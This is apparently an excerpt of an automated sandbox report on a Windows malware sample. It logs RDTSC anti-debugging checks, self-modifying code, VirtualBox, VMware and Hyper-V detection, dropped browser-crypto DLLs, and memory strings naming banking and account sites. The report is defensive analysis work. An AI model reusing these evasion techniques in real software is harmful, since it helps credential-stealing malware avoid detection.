Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B1D5EA second address: B1D5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE3507549A6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B312FE second address: B31305 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B31305 second address: B3131B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3507549B0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B3173E second address: B31747 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B34D3E second address: B34D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B34D44 second address: B34D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B34D48 second address: B34D6C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE3507549A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f je 00007FE3507549A6h 0x00000015 jne 00007FE3507549A6h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jns 00007FE3507549A6h 0x00000024 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B34E88 second address: B34F01 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 ja 00007FE350BA4116h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 5E3544D5h 0x00000013 sub ch, FFFFFFF2h 0x00000016 push 00000003h 0x00000018 mov edi, dword ptr [ebp+122D36BAh] 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 jns 00007FE350BA411Ch 0x00000027 pop edi 0x00000028 push 00000003h 0x0000002a mov dword ptr [ebp+122D1951h], esi 0x00000030 push 60775CD8h 0x00000035 jng 00007FE350BA411Ah 0x0000003b push ebx 0x0000003c push ebx 0x0000003d pop ebx 0x0000003e pop ebx 0x0000003f add dword ptr [esp], 5F88A328h 0x00000046 xor cx, 4FC8h 0x0000004b lea ebx, dword ptr [ebp+12449C77h] 0x00000051 and di, 4F48h 0x00000056 mov edx, ecx 0x00000058 xchg eax, ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FE350BA4128h 0x00000060 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B3510D second address: B35111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B2AD1E second address: B2AD39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4127h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B2AD39 second address: B2AD55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3507549B8h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B2AD55 second address: B2AD5B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B54262 second address: B54276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FE3507549AEh 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B5473C second address: B54746 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B54746 second address: B5474A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B5474A second address: B5474E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B5474E second address: B54754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B54754 second address: B5475A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B5475A second address: B5475E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B54A29 second address: B54A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B54A2E second address: B54A52 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE3507549BAh 0x00000008 jp 00007FE3507549ACh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B54BD9 second address: B54BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FE350BA4122h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B54BF0 second address: B54C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FE3507549A6h 0x0000000a jnl 00007FE3507549A6h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B54D67 second address: B54D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B54D6D second address: B54D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B54D73 second address: B54D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push ebx 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B55031 second address: B55037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B55037 second address: B5503C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B5503C second address: B5504C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FE3507549A6h 0x0000000a jnp 00007FE3507549A6h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B5504C second address: B55050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B55374 second address: B5538F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 ja 00007FE3507549A6h 0x0000000c je 00007FE3507549A6h 0x00000012 popad 0x00000013 js 00007FE3507549B2h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B5538F second address: B55395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B55522 second address: B55545 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE3507549A6h 0x00000008 jmp 00007FE3507549B9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B55545 second address: B5555D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4120h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B55F02 second address: B55F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B55F06 second address: B55F30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4125h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE350BA4121h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B1F182 second address: B1F188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B1F188 second address: B1F1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE350BA4116h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE350BA4123h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B1F1A9 second address: B1F1B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B59E40 second address: B59E46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B59F96 second address: B59F9B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B62075 second address: B620B1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FE350BA4128h 0x00000008 pop edx 0x00000009 jmp 00007FE350BA4129h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B620B1 second address: B620C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 je 00007FE3507549A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B620C1 second address: B620C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B620C8 second address: B620CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B62836 second address: B62840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B62840 second address: B62857 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B1h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B62857 second address: B62896 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Ah 0x00000007 jmp 00007FE350BA4128h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jo 00007FE350BA412Ch 0x00000015 jmp 00007FE350BA4120h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B63BD5 second address: B63C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 add edi, 30A48028h 0x0000000c call 00007FE3507549A9h 0x00000011 jl 00007FE3507549B4h 0x00000017 jmp 00007FE3507549AEh 0x0000001c push eax 0x0000001d jnl 00007FE3507549AEh 0x00000023 mov eax, dword ptr [esp+04h] 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a jmp 00007FE3507549AFh 0x0000002f pop edi 0x00000030 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B63C24 second address: B63C6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FE350BA411Eh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 jnl 00007FE350BA412Eh 0x0000001b jnp 00007FE350BA411Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B63D61 second address: B63D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B640C2 second address: B640C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B640C6 second address: B640CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B6470B second address: B64715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FE350BA4116h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B64715 second address: B64728 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE3507549A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B64A0B second address: B64A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B64D0F second address: B64D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B64D16 second address: B64D1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	RDTSC instruction interceptor: First address: B64D1B second address: B64D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3507549ADh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e jnl 00007FE3507549A8h 0x00000014 pop eax 0x00000015 nop 0x00000016 mov dword ptr [ebp+12449E3Bh], ebx 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jp 00007FE3507549BDh 0x00000025 jmp 00007FE3507549B7h 0x0000002a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 112FD3C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12DE2C5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12E7A0E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 136CA2B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Special instruction interceptor: First address: 9BE90A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Special instruction interceptor: First address: 9BEA26 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Special instruction interceptor: First address: B584D9 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Special instruction interceptor: First address: B8170C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCAFIJDGHC.exe	Special instruction interceptor: First address: B6B73D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 94E90A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 94EA26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AE84D9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B1170C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AFB73D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsHCAFIJDGHC.exe

Code function: 21_2_053B0CCC rdtsc

21_2_053B0CCC

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6768	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6332	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6640	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5676	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2888	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4304	Thread sleep time: -660000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4304	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsHCAFIJDGHC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4EC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C4EC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000019.00000002.3313862633.0000000000AC9000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: CAKEBFCF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: CAKEBFCF.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: CAKEBFCF.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: CAKEBFCF.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: CAKEBFCF.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: CAKEBFCF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2586630909.0000000000790000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3316663562.000000000165C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3316663562.0000000001686000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: CAKEBFCF.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: CAKEBFCF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: CAKEBFCF.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: CAKEBFCF.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: CAKEBFCF.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000002.2586630909.0000000000763000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWTy%SystemRoot%\system32\mswsock.dll
Source: CAKEBFCF.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: CAKEBFCF.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: CAKEBFCF.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: CAKEBFCF.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: CAKEBFCF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: CAKEBFCF.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: CAKEBFCF.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: CAKEBFCF.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: CAKEBFCF.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: CAKEBFCF.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: DocumentsHCAFIJDGHC.exe, 00000015.00000003.2592956685.000000000169C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: CAKEBFCF.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: CAKEBFCF.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: CAKEBFCF.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: CAKEBFCF.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: CAKEBFCF.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: CAKEBFCF.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2586630909.000000000071E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: CAKEBFCF.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: CAKEBFCF.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: skotes.exe, 00000019.00000002.3316663562.0000000001686000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW1Y
